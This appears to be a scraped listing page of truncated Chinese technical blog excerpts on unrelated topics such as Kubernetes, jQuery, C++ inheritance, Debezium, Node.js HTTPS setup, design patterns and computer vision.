------> 课程视频同步分享在今日头条和B站 大家好,我是博哥爱运维。 OK,到目前为止,我们的服务顺利容器化并上了K8s,同时也能通过外部网络进行请求访问,相关的服务数据也能进行持久化存储了,那么接下来…...
芯科科技以卓越的企业发展和杰出的产品创新获得多项殊荣
2023年共获颁全球及囯內近20个行业奖项 Silicon Labs(亦称“芯科科技”)日前在全球半导体联盟(Global Semiconductor Alliance,GSA)举行的颁奖典礼上,再次荣获最受尊敬上市半导体企业奖,这是公…...
计算机视觉基础(11)——语义分割和实例分割
前言 在这节课,我们将学习语义分割和实例分割。在语义分割中,我们需要重点掌握语义分割的概念、常用数据集、评价指标(IoU)以及经典的语义分割方法(Deeplab系列);在实例分割中,需要知…...
CNAS中兴新支点——什么是软件压力测试?软件压力测试工具和流程
一、含义:软件压力测试是一种测试应用程序性能的方法,通过模拟大量用户并发访问,测试应用程序在压力情况下的表现和响应能力。软件压力测试的目的是发现系统潜在的问题,如内存泄漏、线程锁、资源泄漏等,以及在高峰期或…...
jQuery: 整理3---操作元素的内容
1.html("内容") ->设置元素的内容,包含html标签(非表单元素) <div id"html1"></div><div id"html2"></div>$("#html1").html("<h2>上海</h2>") …...
22、商城系统(四):项目jar包配置(重要),网关配置,商品服务基础数据设置
目录 0.重要:整个项目的配置 最外层的pom.xml renren-fast renren-generator xpmall-common xpmall-coupon...
循环链表的学习以及问题汇总
[TOC](循环链表常见的问题) # 问题一: **报错** ![报错内容](https://img-blog.csdnimg.cn/direct/57a4dcc6993a495c8db9c3dbfade4a78.png) **报错原因:**因为没有提前对_tag_CircleListNode重命名为CircleListNode,所以,在定义…...
C++期末复习总结继承
继承是软件复用的一种形式,他是在现有类的基础上建立新类,新类继承了现有类的属性和方法,并且还拥有了其特有的属性和方法,继承的过程称为派生,新建的类称为派生类(子类),原有的成为…...
CloudCanal x Debezium 打造实时数据流动新范式
简述 Debezium 是一个开源的数据订阅工具,主要功能为捕获数据库变更事件发送到 Kafka。 CloudCanal 近期实现了从 Kafka 消费 Debezium 格式数据,将其 同步到 StarRocks、Doris、Elasticsearch、MongoDB、ClickHouse 等 12 种数据库和数仓,…...
Nodejs+Express搭建HTTPS服务
最近开发需要搭建一个https的服务,正好最近在用nodejs和express,于是乎想到就近就使用这两东西来搭建一个https的服务吧。这里搭建过程总共需要两步,第一步生成证书,第二步使用https模块启动服务。 生成自签名证书 这里因为是自…...
设计模式之-策略模式,快速掌握策略模式,通俗易懂的讲解策略模式以及它的使用场景
系列文章目录 设计模式之-6大设计原则简单易懂的理解以及它们的适用场景和代码示列 设计模式之-单列设计模式,5种单例设计模式使用场景以及它们的优缺点 设计模式之-3种常见的工厂模式简单工厂模式、工厂方法模式和抽象工厂模式,每一种模式的概念、使用…...
【leetcode100-019】【矩阵】螺旋矩阵
【题干】 给你一个 m 行 n 列的矩阵 matrix ,请按照 顺时针螺旋顺序 ,返回矩阵中的所有元素。 【思路】 不难注意到,每进行一次转向,都有一行/列被输出(并失效);既然已经失效,那我…...
【计算机视觉中的多视图几何系列】深入浅出理解针孔相机模型
温故而知新,可以为师矣! 一、参考资料 《计算机视觉中的多视图几何-第五章》-Richard Hartley, Andrew Zisserman. 二、针孔模型相关介绍 1. 重要概念 1.1 投影中心/摄像机中心/光心 投影中心称为摄像机中心,也称为光心。投影中心位于一…...